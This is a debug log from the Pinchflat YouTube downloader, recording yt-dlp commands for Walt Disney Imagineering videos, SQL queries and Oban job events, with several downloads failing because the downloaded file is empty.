/tmp/pinchflat/data/1a/c4/1ac48b195d97aa36e41c24b31fce4fe1e4d99ef7deeaae731f4f53d94df58877.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:59:00.568 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:59:01.657 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1a/c4/1ac48b195d97aa36e41c24b31fce4fe1e4d99ef7deeaae731f4f53d94df58877.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:59:01.658 [debug] Running yt-dlp command for action: download 04:59:01.658 [debug] QUERY OK source="settings" db=0.1ms idle=1089.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:59:01.658 [debug] QUERY OK source="settings" db=0.0ms idle=173.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:59:01.658 [debug] QUERY OK source="settings" db=0.0ms idle=130.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:59:01.658 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a6/4b/a64bd20e8673ad36f0006648508f4ca436163b22cc256ab096e82720e0b5d5ef.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:59:21.433 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:51.435 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.569 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:00:01.724 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a6/4b/a64bd20e8673ad36f0006648508f4ca436163b22cc256ab096e82720e0b5d5ef.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 05:00:01.724 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 05:00:01.725 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":65239068,"event":"job:exception","queue_time":971755,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:00:21.437 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:51.438 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.570 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:01:21.439 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:51.440 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.571 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:02:21.441 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:51.442 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.572 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:03:21.443 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:51.444 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.573 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:04:21.446 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:51.447 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.574 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:05:21.448 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:47.926 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1775034347926546749,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:05:47.927 [debug] QUERY OK source="media_items" db=0.2ms idle=1398.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 05:05:47.927 [info] User scripts lifecyle file either not present or is empty. Skipping. 05:05:47.927 [debug] QUERY OK source="sources" db=0.1ms idle=1398.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 05:05:47.927 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:05:47.928 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 05:05:47.928 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 05:05:47.929 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:05:47.929 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:05:47.929 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:05:47.929 [debug] Running yt-dlp command for action: get_downloadable_status 05:05:47.930 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:05:47.930 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:05:47.930 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:05:47.930 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/db/bc/dbbcad2d53ed3d938907ea80242acc70c9b2565823c20533f903f68b13530f0a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:05:51.449 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:52.551 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/db/bc/dbbcad2d53ed3d938907ea80242acc70c9b2565823c20533f903f68b13530f0a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 05:05:52.551 [debug] Running yt-dlp command for action: download 05:05:52.552 [debug] QUERY OK source="settings" db=0.2ms idle=1023.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:05:52.552 [debug] QUERY OK source="settings" db=0.0ms idle=1023.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:05:52.552 [debug] QUERY OK source="settings" db=0.1ms idle=1023.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:05:52.552 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/c6/42/c642391f8e64828168e9c9ae4d07b22b02d13a558d65970829e25919cc03fa13.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:06:00.575 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:06:21.450 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:36.558 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/c6/42/c642391f8e64828168e9c9ae4d07b22b02d13a558d65970829e25919cc03fa13.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 05:06:36.558 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 05:06:36.559 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":48632055,"event":"job:exception","queue_time":787463,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:06:51.451 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.577 [info] {"source":"oban","duration":393,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:07:21.453 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:51.455 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.577 [info] {"source":"oban","duration":291,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:08:21.457 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:51.458 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.578 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:09:21.459 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:51.460 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.579 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:10:21.461 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:51.463 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.580 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:11:21.464 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:51.465 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.581 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:12:21.466 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:51.467 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.582 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:13:21.468 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:51.469 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.583 [info] {"source":"oban","duration":336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:14:21.471 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:51.472 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.584 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:15:21.474 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:51.475 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.585 [info] {"source":"oban","duration":336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:16:21.477 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:51.478 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.586 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:17:21.479 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:51.480 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.587 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:18:21.482 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:51.483 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.588 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:19:21.485 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:51.487 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.589 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:20:21.489 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:51.490 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.590 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:21:21.491 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:51.492 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.591 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:22:21.493 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:51.495 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.592 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:23:21.496 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:51.498 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.593 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:24:21.500 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:51.502 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.594 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:25:21.503 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:51.504 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.596 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:26:21.506 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:51.508 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.596 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:27:21.510 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:51.511 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:57.436 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775035677436521493,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:27:57.437 [debug] QUERY OK source="media_items" db=0.2ms idle=906.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 05:27:57.437 [info] User scripts lifecyle file either not present or is empty. Skipping. 05:27:57.437 [debug] QUERY OK source="sources" db=0.1ms idle=906.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:27:57.437 [debug] QUERY OK source="media_profiles" db=0.1ms idle=906.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:27:57.438 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= 